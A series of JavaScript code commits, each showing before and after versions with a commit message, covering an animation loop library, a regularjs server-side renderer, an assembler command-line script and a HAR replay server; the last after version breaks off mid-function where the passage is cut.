<commit_before>function createAnimitter( root, inherits, EventEmitter ){
    var exports;
    //##Animitter object
    //###Extends: [events.EventEmitter](./events.html)
    // *animation.Animitter*
    /** @expose */
    var Animitter = function( opts ){
        opts = opts || {};
        /** @expose */
        this.frameCount = 0;
        /** @expose */
        this.deltaTime = 0;
        /** @private */
        this.__animating = false;
        /** @private */
        this.__completed = false;
        /** @private */
        this.__async = (opts.async === true);
        /** @private */
        this.__fps = opts.fps || 60;
        /** @private */
        this.__lastTime = Date.now();
    };

    var methods = {
        //####myAnimation.complete()
        //stops the animation and emits *'complete'*
        complete: function(){
            this.stop();
            this.__completed = true;
            this.emit('complete', this.frameCount, this.deltaTime);
            return this;
        },
        getDeltaTime: function(){
            return this.deltaTime;
        },
        getFPS: function(){
            return this.__fps;
        },
        getFrameCount: function(){
            return this.frameCount;
        },
        isAnimating: function(){
            return this.__animating;
        },
        isCompleted: function(){
            return this.__completed;
        },
        isAsync: function(){
            return this.__async;
        },
        //####myAnimation.update();
        //emit the next update, once
        update: function(){
            this.frameCount++;
            this.emit('update', this.frameCount);
        },
        //####myAnimation.reset();
        //reset the animation loop
        reset: function(){
            if( this.__animating ){
                this.stop();
            }
            this.__completed = false;
            this.frameCount = 0;
            this.emit('reset', this.frameCount);
            return this;
        },
        //####myAnimation.start(function(){})
        //start the animation
        //optional **callback** will be attached to .on('update',fn)
        start: function( callback ){
            var self = this,
                enoughTimeElapsed,
                step,
                nextFrame,
                drawFrame;
            //dont let a second animation start on the same object
            //use *.on('update',fn)* instead
            if(this.__animating){
                return this;
            }
            //emit **start** once at the beginning
            this.emit('start', this.frameCount);
            exports.running += 1;
            this.__animating = true;
            var now = Date.now();
            this.deltaTime = now - this.__lastTime;
            this.__lastTime = now;

            step = function(){
                self.frameCount++;
                var now = Date.now();
                self.deltaTime = now - self.__lastTime;
                self.__lastTime = now;
                if( self.__async ){
                    self.emit('update', self.frameCount, self.deltaTime, function(){
                        self.__animating = true;
                        drawFrame();
                    });
                    return false;
                } else {
                    self.emit('update', self.frameCount, self.deltaTime);
                    return true;
                }
            };

            if(callback !== undefined){
                this.on('update', callback);
            }

            //manage FPS if < 60, else return true;
            enoughTimeElapsed = (function(){
                var lastTime = Date.now();
                return (self.__fps < 60) ? function(){
                    //if a custom fps is requested
                    var now = Date.now();
                    if( now - lastTime < (1000/self.__fps) ){
                        return false;
                    }
                    lastTime = now;
                    return true;
                } : function(){ return true; };
            })();

            //continue the rAF loop, not necessarily calling the user's function
            nextFrame = (function(){
                var rAFID;
                return function(){
                    if(self.__animating){
                        rAFID = root.requestAnimationFrame(drawFrame);
                    } else {
                        root.cancelAnimationFrame(rAFID);
                    }
                };
            })();

            drawFrame = function(){
                if(!enoughTimeElapsed()){
                    nextFrame();
                    return;
                }
                if( step() ){
                    nextFrame();
                }
            };

            drawFrame();

            return this;
        },
        //####myAnimation.stop()
        //stops the animation but does not mark as completed
        stop: function(){
            if( this.__animating ){
                this.__animating = false;
                exports.running -= 1;
                this.emit('stop', this.frameCount, this.deltaTime);
            }
            return this;
        }
    };

    inherits(Animitter, EventEmitter);
    for(var method in methods){
        Animitter.prototype[method] = methods[method];
    }

    //####anim(function(){}).start();
    //creates an animitter but does not start it
    //**alternately:** anim({ async: true }, function( next ){ next(); })
    /** @expose */
    exports = function( opts, fn ){
        if( arguments.length === 1 && typeof opts === 'function'){
            fn = opts;
            opts = {};
        }
        var _instance = new Animitter( opts );
        if( fn ) _instance.on('update', fn);
        return _instance;
    };
    //log how many animations are running
    /** @expose */
    exports.running = 0;
    //####anim.async(function( next ){ next(); });
    //creates an asynchronous animation where the next frame is queued
    //once next(); is invoked
    /** @expose */
    exports.async = function( opts, fn ){
        if( arguments.length === 1){
            fn = opts;
            opts = {};
        }
        opts.async = true;
        return exports.start( opts, fn );
    };
    //####anim.start( function(){} )
    //creates a new animitter and auto-starts it
    //this is the most direct way to use it but will result in missing
    //at least one *.on('update',fn)* applied after
    /** @expose */
    exports.start = function( opts, fn ){
        if( arguments.length === 1 ){
            fn = opts;
            opts = {};
        }
        var _instance = new Animitter(opts);
        return _instance.start(fn);
    };
    /** @expose */
    exports.Animitter = Animitter;
    /** @expose */
    exports.EventEmitter = EventEmitter;
    return exports;
}
<commit_msg>fix deltaTime when calling update without starting a loop<commit_after>function createAnimitter( root, inherits, EventEmitter ){
    var exports;
    //##Animitter object
    //###Extends: [events.EventEmitter](./events.html)
    // *animation.Animitter*
    /** @expose */
    var Animitter = function( opts ){
        opts = opts || {};
        /** @expose */
        this.frameCount = 0;
        /** @expose */
        this.deltaTime = 0;
        /** @private */
        this.__animating = false;
        /** @private */
        this.__completed = false;
        /** @private */
        this.__async = (opts.async === true);
        /** @private */
        this.__fps = opts.fps || 60;
    };

    var methods = {
        //####myAnimation.complete()
        //stops the animation and emits *'complete'*
        complete: function(){
            this.stop();
            this.__completed = true;
            this.emit('complete', this.frameCount, this.deltaTime);
            return this;
        },
        getDeltaTime: function(){
            return this.deltaTime;
        },
        getFPS: function(){
            return this.__fps;
        },
        getFrameCount: function(){
            return this.frameCount;
        },
        isAnimating: function(){
            return this.__animating;
        },
        isCompleted: function(){
            return this.__completed;
        },
        isAsync: function(){
            return this.__async;
        },
        //####myAnimation.update();
        //emit the next update, once
        update: function(){
            this.frameCount++;
            /** @private */
            this.__lastTime = this.__lastTime || Date.now();
            var now = Date.now();
            this.deltaTime = now - this.__lastTime;
            this.__lastTime = now;
            this.emit('update', this.frameCount, this.deltaTime);
        },
        //####myAnimation.reset();
        //reset the animation loop
        reset: function(){
            if( this.__animating ){
                this.stop();
            }
            this.__completed = false;
            this.frameCount = 0;
            this.emit('reset', this.frameCount);
            return this;
        },
        //####myAnimation.start(function(){})
        //start the animation
        //optional **callback** will be attached to .on('update',fn)
        start: function( callback ){
            var self = this,
                enoughTimeElapsed,
                step,
                nextFrame,
                drawFrame;
            //dont let a second animation start on the same object
            //use *.on('update',fn)* instead
            if(this.__animating){
                return this;
            }
            //emit **start** once at the beginning
            this.emit('start', this.frameCount);
            exports.running += 1;
            this.__animating = true;
            var now = Date.now();
            this.deltaTime = now - this.__lastTime;
            this.__lastTime = now;

            step = function(){
                self.frameCount++;
                var now = Date.now();
                self.deltaTime = now - (self.__lastTime || now);
                self.__lastTime = now;
                if( self.__async ){
                    self.emit('update', self.frameCount, self.deltaTime, function(){
                        self.__animating = true;
                        drawFrame();
                    });
                    return false;
                } else {
                    self.emit('update', self.frameCount, self.deltaTime);
                    return true;
                }
            };

            if(callback !== undefined){
                this.on('update', callback);
            }

            //manage FPS if < 60, else return true;
            enoughTimeElapsed = (function(){
                var lastTime = Date.now();
                return (self.__fps < 60) ? function(){
                    //if a custom fps is requested
                    var now = Date.now();
                    if( now - lastTime < (1000/self.__fps) ){
                        return false;
                    }
                    lastTime = now;
                    return true;
                } : function(){ return true; };
            })();

            //continue the rAF loop, not necessarily calling the user's function
            nextFrame = (function(){
                var rAFID;
                return function(){
                    if(self.__animating){
                        rAFID = root.requestAnimationFrame(drawFrame);
                    } else {
                        root.cancelAnimationFrame(rAFID);
                    }
                };
            })();

            drawFrame = function(){
                if(!enoughTimeElapsed()){
                    nextFrame();
                    return;
                }
                if( step() ){
                    nextFrame();
                }
            };

            drawFrame();

            return this;
        },
        //####myAnimation.stop()
        //stops the animation but does not mark as completed
        stop: function(){
            if( this.__animating ){
                this.__animating = false;
                exports.running -= 1;
                this.emit('stop', this.frameCount, this.deltaTime);
            }
            return this;
        }
    };

    inherits(Animitter, EventEmitter);
    for(var method in methods){
        Animitter.prototype[method] = methods[method];
    }

    //####anim(function(){}).start();
    //creates an animitter but does not start it
    //**alternately:** anim({ async: true }, function( next ){ next(); })
    /** @expose */
    exports = function( opts, fn ){
        if( arguments.length === 1 && typeof opts === 'function'){
            fn = opts;
            opts = {};
        }
        var _instance = new Animitter( opts );
        if( fn ) _instance.on('update', fn);
        return _instance;
    };
    //log how many animations are running
    /** @expose */
    exports.running = 0;
    //####anim.async(function( next ){ next(); });
    //creates an asynchronous animation where the next frame is queued
    //once next(); is invoked
    /** @expose */
    exports.async = function( opts, fn ){
        if( arguments.length === 1){
            fn = opts;
            opts = {};
        }
        opts.async = true;
        return exports.start( opts, fn );
    };
    //####anim.start( function(){} )
    //creates a new animitter and auto-starts it
    //this is the most direct way to use it but will result in missing
    //at least one *.on('update',fn)* applied after
    /** @expose */
    exports.start = function( opts, fn ){
        if( arguments.length === 1 ){
            fn = opts;
            opts = {};
        }
        var _instance = new Animitter(opts);
        return _instance.start(fn);
    };
    /** @expose */
    exports.Animitter = Animitter;
    /** @expose */
    exports.EventEmitter = EventEmitter;
    return exports;
}
<|endoftext|>


<commit_before>// server side rendering for regularjs

var _ = require('../util');
var parser = require('../helper/parse.js');
var diffArray = require('../helper/diff.js').diffArray;

/**
 * [compile description]
 * @param  {[type]} ast     [description]
 * @param  {[type]} options [description]
 */

function SSR (Component, definition){

  definition = definition || {};

  this.Component = Component;
  var context = this.context = Object.create(Component.prototype)

  context.extra = definition.extra;
  definition.data = definition.data || {};
  definition.computed = definition.computed || {};
  if(context.data) _.extend(definition.data, context.data);
  if(context.computed) _.extend(definition.computed, context.computed);

  _.extend(context, definition, true);

  context.config( context.data = context.data || {} );

}

var ssr = _.extend(SSR.prototype, {});

ssr.render = function(){

  var self = this;
  return this.compile(this.context.template);

}

ssr.compile = function(ast){

  if(typeof ast === 'string'){
    ast = parser.parse(ast);
  }
  return this.walk(ast)
}

ssr.walk = function(ast, options){

  var type = ast.type;

  if(Array.isArray(ast)){

    return ast.map(function(item){

      return this.walk(item, options)

    }.bind(this)).join('');

  }

  return this[ast.type](ast, options)

}

ssr.element = function(ast ){

  var children = ast.children,
    attrs = ast.attrs,
    tag = ast.tag;

  if( tag === 'r-component' ){
    attrs.some(function(attr){
      if(attr.name === 'is'){
        tag = attr.value;
        if( _.isExpr(attr.value)) tag = this.get(value);
        return true;
      }
    }.bind(this))
  }

  var Component = this.Component.component(tag);

  if(ast.tag === 'r-component' && !Component){
    throw Error('r-component with unregister component ' + tag)
  }

  if( Component ) return this.component( ast, {
    Component: Component
  } );

  var attrStr = this.attrs(attrs);
  var body = (children && children.length? this.compile(children): "")

  return "<" + tag + (attrStr? " " + attrStr: ""  ) + ">" +
        body +
    "</" + tag + ">"

}

ssr.component = function(ast, options){

  var children = ast.children,
    attrs = ast.attrs,
    data = {},
    Component = options.Component, body;

  if(children && children.length){
    body = function(){
      return this.compile(children)
    }.bind(this)
  }

  attrs.forEach(function(attr){
    if(!_.eventReg.test(attr.name)){
      data[attr.name] = _.isExpr(attr.value)? this.get(attr.value): attr.value
    }
  }.bind(this))

  return SSR.render(Component, {
    $body: body,
    data: data,
    extra: this.extra
  })
}

ssr.list = function(ast){

  var
    altnate = ast.altnate,
    variable = ast.variable,
    indexName = variable + '_index',
    keyName = variable + '_key',
    body = ast.body,
    context = this.context,
    self = this,
    prevExtra = context.extra;

  var sequence = this.get(ast.sequence);
  var keys, list;

  var type = _.typeOf(sequence);

  if( type === 'object'){

    keys = Object.keys(list);
    list = keys.map(function(key){return sequence[key]})

  }else{

    list = sequence || [];

  }

  return list.map(function(item, item_index){

    var sectionData = {};
    sectionData[variable] = item;
    sectionData[indexName] = item_index;
    if(keys) sectionData[keyName] = sequence[item_index];
    context.extra = _.extend(
      prevExtra? Object.create(prevExtra): {}, sectionData );
    var section =  this.compile( body );
    context.extra = prevExtra;
    return section;

  }.bind(this)).join('');

}

// {#include } or {#inc template}
ssr.template = function(ast, options){
  var content = this.get(ast.content);
  var type = typeof content;

  if(!content) return '';
  if(type === 'function' ){
    return content();
  }else{
    return this.compile(type !== 'object'? String(content): content)
  }

};

ssr.if = function(ast, options){
  var test = this.get(ast.test);
  if(test){
    if(ast.consequent){
      return this.compile( ast.consequent );
    }
  }else{
    if(ast.altnate){
      return this.compile( ast.altnate );
    }
  }

}

ssr.expression = function(ast, options){
  var str = this.get(ast);
  return str == null?  "" : "" + str;
}

ssr.text = function(ast, options){
  return ast.text
}

ssr.attrs = function(attrs){
  return attrs.map(function(attr){
    return this.attr(attr);
  }.bind(this)).join("").replace(/\s+$/,"");
}

ssr.attr = function(attr){

  var name = attr.name,
    value = attr.value || "",
    Component = this.Component,
    directive = Component.directive(name);

  if( directive ){
    if(directive.ssr){

      // @TODO: 应该提供hook可以控制节点内部  ,比如r-html
      return directive.ssr( name, value );
    }
  }else{
    // @TODO 对于boolean 值
    if(_.isExpr(value)) value = this.get(value);
    if(_.isBooleanAttr(name) || value == undefined){
      return name + " ";
    }else{
      return name + '="' + value + '" ';
    }
  }
}

ssr.get = function(expr){

  var rawget,
    self = this,
    context = this.context,
    touched = {};

  if(expr.get) return expr.get(context);
  else {
    var rawget = new Function(_.ctxName, _.extName , _.prefix+ "return (" + expr.body + ")")
    expr.get = function(context){
      return rawget(context, context.extra)
    }
    return expr.get(this.context)
  }

}

SSR.render = function(Component, options){

  return new SSR(Component, options).render();

}

module.exports = SSR;
<commit_msg>fix typo altnate - > alternate<commit_after>// server side rendering for regularjs

var _ = require('../util');
var parser = require('../helper/parse.js');
var diffArray = require('../helper/diff.js').diffArray;

/**
 * [compile description]
 * @param  {[type]} ast     [description]
 * @param  {[type]} options [description]
 */

function SSR (Component, definition){

  definition = definition || {};

  this.Component = Component;
  var context = this.context = Object.create(Component.prototype)

  context.extra = definition.extra;
  definition.data = definition.data || {};
  definition.computed = definition.computed || {};
  if(context.data) _.extend(definition.data, context.data);
  if(context.computed) _.extend(definition.computed, context.computed);

  _.extend(context, definition, true);

  context.config( context.data = context.data || {} );

}

var ssr = _.extend(SSR.prototype, {});

ssr.render = function(){

  var self = this;
  return this.compile(this.context.template);

}

ssr.compile = function(ast){

  if(typeof ast === 'string'){
    ast = parser.parse(ast);
  }
  return this.walk(ast)
}

ssr.walk = function(ast, options){

  var type = ast.type;

  if(Array.isArray(ast)){

    return ast.map(function(item){

      return this.walk(item, options)

    }.bind(this)).join('');

  }

  return this[ast.type](ast, options)

}

ssr.element = function(ast ){

  var children = ast.children,
    attrs = ast.attrs,
    tag = ast.tag;

  if( tag === 'r-component' ){
    attrs.some(function(attr){
      if(attr.name === 'is'){
        tag = attr.value;
        if( _.isExpr(attr.value)) tag = this.get(value);
        return true;
      }
    }.bind(this))
  }

  var Component = this.Component.component(tag);

  if(ast.tag === 'r-component' && !Component){
    throw Error('r-component with unregister component ' + tag)
  }

  if( Component ) return this.component( ast, {
    Component: Component
  } );

  var attrStr = this.attrs(attrs);
  var body = (children && children.length? this.compile(children): "")

  return "<" + tag + (attrStr? " " + attrStr: ""  ) + ">" +
        body +
    "</" + tag + ">"

}

ssr.component = function(ast, options){

  var children = ast.children,
    attrs = ast.attrs,
    data = {},
    Component = options.Component, body;

  if(children && children.length){
    body = function(){
      return this.compile(children)
    }.bind(this)
  }

  attrs.forEach(function(attr){
    if(!_.eventReg.test(attr.name)){
      data[attr.name] = _.isExpr(attr.value)? this.get(attr.value): attr.value
    }
  }.bind(this))

  return SSR.render(Component, {
    $body: body,
    data: data,
    extra: this.extra
  })
}

ssr.list = function(ast){

  var
    alternate = ast.alternate,
    variable = ast.variable,
    indexName = variable + '_index',
    keyName = variable + '_key',
    body = ast.body,
    context = this.context,
    self = this,
    prevExtra = context.extra;

  var sequence = this.get(ast.sequence);
  var keys, list;

  var type = _.typeOf(sequence);

  if( type === 'object'){

    keys = Object.keys(list);
    list = keys.map(function(key){return sequence[key]})

  }else{

    list = sequence || [];

  }

  return list.map(function(item, item_index){

    var sectionData = {};
    sectionData[variable] = item;
    sectionData[indexName] = item_index;
    if(keys) sectionData[keyName] = sequence[item_index];
    context.extra = _.extend(
      prevExtra? Object.create(prevExtra): {}, sectionData );
    var section =  this.compile( body );
    context.extra = prevExtra;
    return section;

  }.bind(this)).join('');

}

// {#include } or {#inc template}
ssr.template = function(ast, options){
  var content = this.get(ast.content);
  var type = typeof content;

  if(!content) return '';
  if(type === 'function' ){
    return content();
  }else{
    return this.compile(type !== 'object'? String(content): content)
  }

};

ssr.if = function(ast, options){
  var test = this.get(ast.test);
  if(test){
    if(ast.consequent){
      return this.compile( ast.consequent );
    }
  }else{
    if(ast.alternate){
      return this.compile( ast.alternate );
    }
  }

}

ssr.expression = function(ast, options){
  var str = this.get(ast);
  return str == null?  "" : "" + str;
}

ssr.text = function(ast, options){
  return ast.text
}

ssr.attrs = function(attrs){
  return attrs.map(function(attr){
    return this.attr(attr);
  }.bind(this)).join("").replace(/\s+$/,"");
}

ssr.attr = function(attr){

  var name = attr.name,
    value = attr.value || "",
    Component = this.Component,
    directive = Component.directive(name);

  if( directive ){
    if(directive.ssr){

      // @TODO: 应该提供hook可以控制节点内部  ,比如r-html
      return directive.ssr( name, value );
    }
  }else{
    // @TODO 对于boolean 值
    if(_.isExpr(value)) value = this.get(value);
    if(_.isBooleanAttr(name) || value == undefined){
      return name + " ";
    }else{
      return name + '="' + value + '" ';
    }
  }
}

ssr.get = function(expr){

  var rawget,
    self = this,
    context = this.context,
    touched = {};

  if(expr.get) return expr.get(context);
  else {
    var rawget = new Function(_.ctxName, _.extName , _.prefix+ "return (" + expr.body + ")")
    expr.get = function(context){
      return rawget(context, context.extra)
    }
    return expr.get(this.context)
  }

}

SSR.render = function(Component, options){

  return new SSR(Component, options).render();

}

module.exports = SSR;
<|endoftext|>


<commit_before>var Fs = require("fs")
  , ArcAssembler = require("./lib")
  ;

const OUTPUT_FILE = __dirname + "/out"
    , INPUT_FILE = __dirname + "/Test.asm"
    ;

var outputStream = Fs.createWriteStream(OUTPUT_FILE);

Fs.readFile(INPUT_FILE, "utf-8", function (err, lines) {
    var result = ArcAssembler.compile(lines);

    result.raw.forEach(function (c) {
        console.log(c.code.match(/.{1,4}/g).join(" ") + " << Line " + c.line);
    });

    console.log("---- Full machine code ----");
    for (var i = 0; i < result.mCode.length; i += 32) {
        console.log(result.mCode.slice(i, i + 32).join("").match(/.{1,4}/g).join(" "));
    }

    outputStream.write("#!/usr/bin/env arc-int");
    outputStream.write(new Buffer(result.mCode));
    outputStream.end();
    Fs.chmodSync(OUTPUT_FILE, 0755);
});
<commit_msg>Use yargs to parse the command line args<commit_after>// Dependencies
var Fs = require("fs")
  , ArcAssembler = require("../lib")
  , Argv = require("yargs")
     .alias("s", "source")
     .alias("o", "output")
     .argv
  , Path = require("path")
  ;

// Constants
const INPUT_FILE = Path.resolve(process.cwd() + Argv.source)
    , OUTPUT_FILE = Path.resolve(process.cwd() + Argv.output)
    ;

// Create the write stream
var outputStream = Fs.createWriteStream(OUTPUT_FILE);

// Read the input file content
Fs.readFile(INPUT_FILE, "utf-8", function (err, content) {
    if (err) throw err;

    // Compile the input
    var result = ArcAssembler.compile(content);

    // Show some output
    result.raw.forEach(function (c) {
        console.log(c.code.match(/.{1,4}/g).join(" ") + " << Line " + c.line);
    });

    // Write things in the output stream
    outputStream.write("#!/usr/bin/env arc-int");
    outputStream.write(new Buffer(result.mCode));
    outputStream.end();

    // Make the file executable
    Fs.chmodSync(OUTPUT_FILE, 0755);
});
<|endoftext|>


<commit_before>#! /usr/bin/node

const argv = require('yargs').argv;
const child_process = require('child_process');
const express = require('express');
const fs = require('fs');
const getStdin = require('get-stdin');
const http = require('http');
const https = require('https');
const http2 = require('spdy');
const moment = require('moment');
const path = require('path');
const url = require('url');
const zlib = require('zlib');

const toOrigin = require('./util').toOrigin;

const responsesByOrigin = new Map();

function createOriginRecord() {
  return {
    paths: new Map()
  };
}

function createPathRecord() {
  return {
    responses: [],
    index: 0
  };
}

function isRfc1123Date(s) {
  return moment(
    s.replace(/GMT$/, 'Z'),
    'ddd, DD MMM YYYY HH:mm:ss Z',
    true
  ).isValid();
}

function isRfc850Date(s) {
  return moment(
    s.replace(/GMT$/, 'Z'),
    'dddd, DD-MMM-YY HH:mm:ss Z',
    true
  ).isValid();
}

function isAsctimeDate(s) {
  // we have to check both with and without a leading space :/
  return moment(s, 'ddd MMM D HH:mm:ss YYYY', true).isValid() ||
    moment(s, 'ddd MMM  D HH:mm:ss YYYY', true).isValid();
}

function isHttpDate(s) {
  // see https://tools.ietf.org/html/rfc2616#section-3.3.1
  return isRfc1123Date(s) ||
    isRfc850Date(s) ||
    isAsctimeDate(s);
}

function TimeDelta(from, to) {
  this.delta = (new Date(to)).getTime() - (new Date(from)).getTime();
}

TimeDelta.prototype.toRfc1123Date = function (when) {
  when = when || Date.now();
  when = (new Date(when)).getTime()

  return moment(new Date(this.delta + when))
    .format('ddd, DD MMM YYYY HH:mm:ss') + ' GMT';
};

const hostnamesByInstance = new Map();
function processConfig(config) {
  responsesByOrigin.clear();

  config.entries.forEach(entry => {
    const parsedUrl = url.parse(entry.request.url);
    const origin = toOrigin(parsedUrl);
    const parsedOrigin = url.parse(origin);
    const instance = url.format({
      protocol: parsedOrigin.protocol,
      hostname: entry.serverIPAddress,
      port: parsedOrigin.port
    });

    if (!hostnamesByInstance.has(instance)) {
      hostnamesByInstance.set(instance, new Set());
    }
    hostnamesByInstance.get(instance).add(parsedUrl.hostname);

    if (!responsesByOrigin.has(origin)) {
      responsesByOrigin.set(origin, createOriginRecord());
    }
    const originRecord = responsesByOrigin.get(origin);

    if (!originRecord.paths.has(parsedUrl.path)) {
      originRecord.paths.set(parsedUrl.path, createPathRecord());
    }
    const pathRecord = originRecord.paths.get(parsedUrl.path);

    const response = Object.assign({}, entry.response);

    // convert all HTTP dates to TimeDeltas
    for (let header of response.headers) {
      if (isHttpDate(header.value)) {
        header.value = new TimeDelta(entry.startedDateTime, header.value);
      }
    }

    response.content = response.content || {};
    if (response.content.size) {
      // convert the text into a buffer
      response.content.encoding = response.content.encoding || 'utf8';
      response.content.buffer =
        Buffer.from(response.content.text, response.content.encoding);

      if (response.content.compression ||
          response.headers.some(header => {
            return header.name.toLowerCase() === 'content-encoding' &&
              header.value.toLowerCase() === 'gzip';
          })
      ) {
        // gzip it
        response.content.buffer = zlib.gzipSync(response.content.buffer);
      }
    } else {
      response.content.buffer = new Buffer(0);
    }

    pathRecord.responses.push(response);
  });
}

const app = express();
app.disable('x-powered-by');

// register control route
const connections = new Set();
app.put('/__har_server/reset', (req, res, next) => {
  console.log(`Resetting responses...`);
  for (let [origin, originRecord] of responsesByOrigin) {
    for (let [path, pathRecord] of originRecord.paths) {
      pathRecord.index = 0;
    }
  }
  console.log('Done.');

  res.status(204);
  res.send();
  connections.forEach(socket => socket.end());
});

// register route
app.all(['/', '/*'], (req, res, next) => {
  console.log(`${req.method} ${req.headers.host} ${req.originalUrl}`);
  try {
    const reqUrl = url.parse(req.originalUrl);
    const reqOrigin =
      toOrigin(url.parse(`${req.protocol}://${req.headers.host}`));
    const startedDateTime = Date.now();

    if (!responsesByOrigin.has(reqOrigin)) {
      throw new Error(
        `Request for ${req.originalUrl} is to unknown origin ${reqOrigin}`
      );
    }

    const paths = responsesByOrigin.get(reqOrigin).paths;

    if (!paths.has(reqUrl.path)) {
      throw new Error(
        `Request for ${req.originalUrl} is to unknown path ${reqUrl.path}`
      );
    }

    const pathResponses = paths.get(reqUrl.path);

    if (pathResponses.index >= pathResponses.responses.length) {
      throw new Error(`Out of responses for ${req.originalUrl}`);
    }

    const response = pathResponses.responses[pathResponses.index++];

    console.log(response.status);
    res.status(parseInt(response.status, 10));

    // set all headers
    console.log(response.headers);
    response.headers.forEach(header => {
      if (header.value instanceof TimeDelta) {
        res.set(header.name, header.value.toRfc1123Date(startedDateTime));
      } else {
        res.set(header.name, header.value);
      }
    });
    res.set('Content-Length', response.content.buffer.length);

    // send the buffer
    var now = Date.now();
    res.end(response.content.buffer, (err) => {
      if (err) {
        console.error(err.message, '\n', err.stack);
        throw err;
      }
      console.log(`Responded with ${response.content.buffer.length} bytes in ${Date.now() - now}ms`);
    });
  } catch (e) {
    console.error(`FAIL: ${e.message}\n${e.stack}`);
    res.status(500);
    res.send(`Server error:\n${e.message}\n${e.stack}`);
  }
});

function onClose(socket) {
  connections.delete(socket);
}

function onConnection(socket) {
  connections.add(socket);
  socket.on('close', onClose.bind(null, socket));
}

console.log(`Starting servers...`);

const certificates = new Map();

function getKeyAndCert(instance) {
  const {hostname, port} = url.parse(instance);
  const keyFilename = `/opt/ca/server-store/${hostname}_${port}.key`;
  const csrFilename = `/opt/ca/server-store/${hostname}_${port}.csr`;
  const certFilename = `/opt/ca/server-store/${hostname}_${port}.cert`;

  console.log(`instance: ${instance}`);
  if (!certificates.has(instance)) {
    console.log('got here');
    console.log(hostnamesByInstance);
    const hostnames = Array.from(hostnamesByInstance.get(instance));
    console.log(`hostnames: ${hostnames}`);
    const SAN = hostnames.map(hostname => `DNS:${hostname}`).join(',');
    console.log(`SAN: ${SAN}`);
    let key, cert;

    try {
      key = fs.readFileSync(keyFilename);
      cert = fs.readFileSync(certFilename);
    } catch (e) {
      if (e.code !== 'ENOENT') {
        throw e;
      }
    }

    if (!key) {
      const cmd = `openssl req -extensions san_env -config /opt/ca/openssl.cnf -nodes -newkey rsa:2048 -keyout ${keyFilename} -out ${csrFilename} -subj "/CN=${hostnames[0]}"`;
      console.log(`Creating key for ${instance}\n${cmd}`);
      child_process.execSync(cmd, {
        env: {
          SAN
        }
      });
      key = fs.readFileSync(keyFilename);
    }

    if (!cert) {
      cmd = `openssl ca -batch -config /opt/ca/openssl.cnf -extensions server_cert -days 375 -notext -md sha256 -in ${csrFilename} -out ${certFilename}`;
      console.log(cmd);
      console.log(`Creating cert for ${instance}\n${cmd}`);
      console.log(`for hostnames: ${hostnames}`);
      child_process.execSync(cmd, {
        env: {
          SAN
        }
      });
      cert = fs.readFileSync(certFilename);
    }

    certificates.set(instance, { key, cert });
  }

  return certificates.get(instance);
}

getStdin().then(configStr => {
  const config = JSON.parse(configStr);
  processConfig(config);

  config.instances.forEach(instance => {
    const {protocol, hostname, port} = url.parse(instance);

    if (protocol === 'http:') {
      server = http.createServer(app);
      server.on('connection', onConnection);
      server.listen(port, hostname);
    } else if (protocol === 'https:') {
      console.log(`starting https server for ${instance}`);
      server = (argv.http2 ? http2 : https).createServer(
          getKeyAndCert(instance),
          app
        );
      server.on('connection', onConnection);
      server.listen(port, hostname);
    } else {
      throw new Error(`Cannot support protocol '${protocol}'`);
    }

    console.log(`Listening on ${hostname}:${port}`);
  });
  console.log('Done');
});
<commit_msg>Use httpVersion specified in HAR<commit_after>#! /usr/bin/node

const argv = require('yargs').argv;
const child_process = require('child_process');
const express = require('express');
const fs = require('fs');
const getStdin = require('get-stdin');
const http = require('http');
const https = require('https');
const http2 = require('spdy');
const moment = require('moment');
const path = require('path');
const url = require('url');
const zlib = require('zlib');

const toOrigin = require('./util').toOrigin;

const responsesByOrigin = new Map();
const httpsProtocolByVersion = {
  'HTTP': https,
  'HTTP/1.0': https,
  'HTTP/1.1': https,
  // Chrome reports HTTP/2 and SPDY as 'unknown'
  // https://bugs.chromium.org/p/chromium/issues/detail?id=579002
  'unknown': http2,
  'SPDY': http2,
  'HTTP/2': http2
};

function createOriginRecord() {
  return {
    paths: new Map()
  };
}

function createPathRecord() {
  return {
    responses: [],
    index: 0
  };
}

function isRfc1123Date(s) {
  return moment(
    s.replace(/GMT$/, 'Z'),
    'ddd, DD MMM YYYY HH:mm:ss Z',
    true
  ).isValid();
}

function isRfc850Date(s) {
  return moment(
    s.replace(/GMT$/, 'Z'),
    'dddd, DD-MMM-YY HH:mm:ss Z',
    true
  ).isValid();
}

function isAsctimeDate(s) {
  // we have to check both with and without a leading space :/
  return moment(s, 'ddd MMM D HH:mm:ss YYYY', true).isValid() ||
    moment(s, 'ddd MMM  D HH:mm:ss YYYY', true).isValid();
}

function isHttpDate(s) {
  // see https://tools.ietf.org/html/rfc2616#section-3.3.1
  return isRfc1123Date(s) ||
    isRfc850Date(s) ||
    isAsctimeDate(s);
}

function TimeDelta(from, to) {
  this.delta = (new Date(to)).getTime() - (new Date(from)).getTime();
}

TimeDelta.prototype.toRfc1123Date = function (when) {
  when = when || Date.now();
  when = (new Date(when)).getTime()

  return moment(new Date(this.delta + when))
    .format('ddd, DD MMM YYYY HH:mm:ss') + ' GMT';
};

const hostnamesByInstance = new Map();
const httpVersionsByInstance = new Map();
function processConfig(config) {
  responsesByOrigin.clear();

  config.entries.forEach(entry => {
    const parsedUrl = url.parse(entry.request.url);
    const origin = toOrigin(parsedUrl);
    const parsedOrigin = url.parse(origin);
    const instance = url.format({
      protocol: parsedOrigin.protocol,
      hostname: entry.serverIPAddress,
      port: parsedOrigin.port
    });

    if (!hostnamesByInstance.has(instance)) {
      hostnamesByInstance.set(instance, new Set());
    }
    hostnamesByInstance.get(instance).add(parsedUrl.hostname);

    if (!httpVersionsByInstance.has(instance)) {
      console.log(`httpVersion: ${entry.response.httpVersion}`);
      httpVersionsByInstance.set(instance, entry.response.httpVersion);
    }

    if (!responsesByOrigin.has(origin)) {
      responsesByOrigin.set(origin, createOriginRecord());
    }
    const originRecord = responsesByOrigin.get(origin);

    if (!originRecord.paths.has(parsedUrl.path)) {
      originRecord.paths.set(parsedUrl.path, createPathRecord());
    }
    const pathRecord = originRecord.paths.get(parsedUrl.path);

    const response = Object.assign({}, entry.response);

    // convert all HTTP dates to TimeDeltas
    for (let header of response.headers) {
      if (isHttpDate(header.value)) {
        header.value = new TimeDelta(entry.startedDateTime, header.value);
      }
    }

    response.content = response.content || {};
    if (response.content.size) {
      // convert the text into a buffer
      response.content.encoding = response.content.encoding || 'utf8';
      response.content.buffer =
        Buffer.from(response.content.text, response.content.encoding);

      if (response.content.compression ||
          response.headers.some(header => {
            return header.name.toLowerCase() === 'content-encoding' &&
              header.value.toLowerCase() === 'gzip';
          })
      ) {
        // gzip it
        response.content.buffer = zlib.gzipSync(response.content.buffer);
      }
    } else {
